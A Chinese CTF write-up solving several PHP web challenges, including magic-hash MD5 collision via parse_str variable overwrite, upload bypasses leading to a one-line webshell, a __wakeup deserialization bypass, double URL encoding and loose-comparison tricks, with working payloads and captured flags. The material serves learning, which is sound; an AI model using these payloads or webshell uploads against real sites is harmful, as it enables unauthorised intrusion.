最近做的题的wp

variacover

主要考点是变量覆盖

<meta charset="utf-8">
<?php
error_reporting(0);
if (empty($_GET['b'])) {
    show_source(__FILE__);
    die();
}else{
    include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) //判断$a[0]的值不是QNKCDZO且$a[0]的MD5值要和QNKCDZO的MD5值相同
{
    echo $flag;
}else{
exit('你的答案不对0.0');
}
}
?>

接受参数的只有变量b,但是需要更改参数a[0]

@parse_str($b)把查询字符串解析到变量中,如果有同名变量,将原来的覆盖。

由于PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

PHP处理0e开头md5哈希字符串缺陷/bug

构造payload:

?b=a[0]=s878926199a

拿到flag ayyctf{318fa61ae531e1778ffa6661c9b1ff06}

upload1

F12 删除前端认证,然后上一句话木马 蚁剑连接拿flag

upload

先bp抓包上传.htaccess文件,将png文件解析为php文件,然后上一句话木马 蚁剑连接拿flag

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

反序列化 利用php中的new 实例化类xctf


class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
    }
}
$a=new xctf();
echo(serialize($a));
?>

获得payload:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

利用_wakeup()函数漏洞

把1改成2

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

PHP2

没有头绪

扫了一下目录看到了index.phps

拿到源码


if("admin"===$_GET[id]) {
  echo("

not allowed!

"
); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!

"
; echo "

Key: xxxxxxx

"
; } ?> Can you anthenticate to this website?

传一个名为id的参数,参数值必须为经过url编码后的admin

因为url发到服务器那里会自动解码一次

所以需要二次编码

payload:

/index.php?id=%2561%2564%256d%2569%256e

PHP

扫目录拿到index.php~

拿到源码


$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))
{
        $aaa = $_GET['aaa'];
		$aaa=="1"?die("Emmm..."):NULL;
        switch ($aaa)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}
$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb)){
    is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
    if(@$bbb["ccc"]){
        ($bbb["ccc"]>2017)?$b=1:NULL;
    }
	if(is_array(@$bbb["ddd"])){
        if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");
        $eee = array_search("XMAN", $bbb["ddd"]);
        $eee===false?die("Emmm..."):NULL;
        foreach($bbb["ddd"] as $key=>$val){
            $val==="XMAN"?die("Emmm..."):NULL;
        }
        $c=1;
}
}
if($a && $b && $c){
    include "flag.php";
    echo $flag;
}
?>

三个参数都为1时可以拿到flag

$a:

​ witch…case的弱类型比较,可以用1a绕过

$b:

​ $bbb[“ccc”]>2017 依然是弱类型比较, 让’ccc’ => ‘2018a’ 即可

$c:

​ array_search函数的绕过,

构造payload:

/index.php?aaa=1a&bbb={"ccc":"2018a","ddd":[[""],0]}

拿到flag

ayyctf{a2e43398d5d1a8513b233b2f0f8fa86f}

你可能感兴趣的:(CTF,web安全)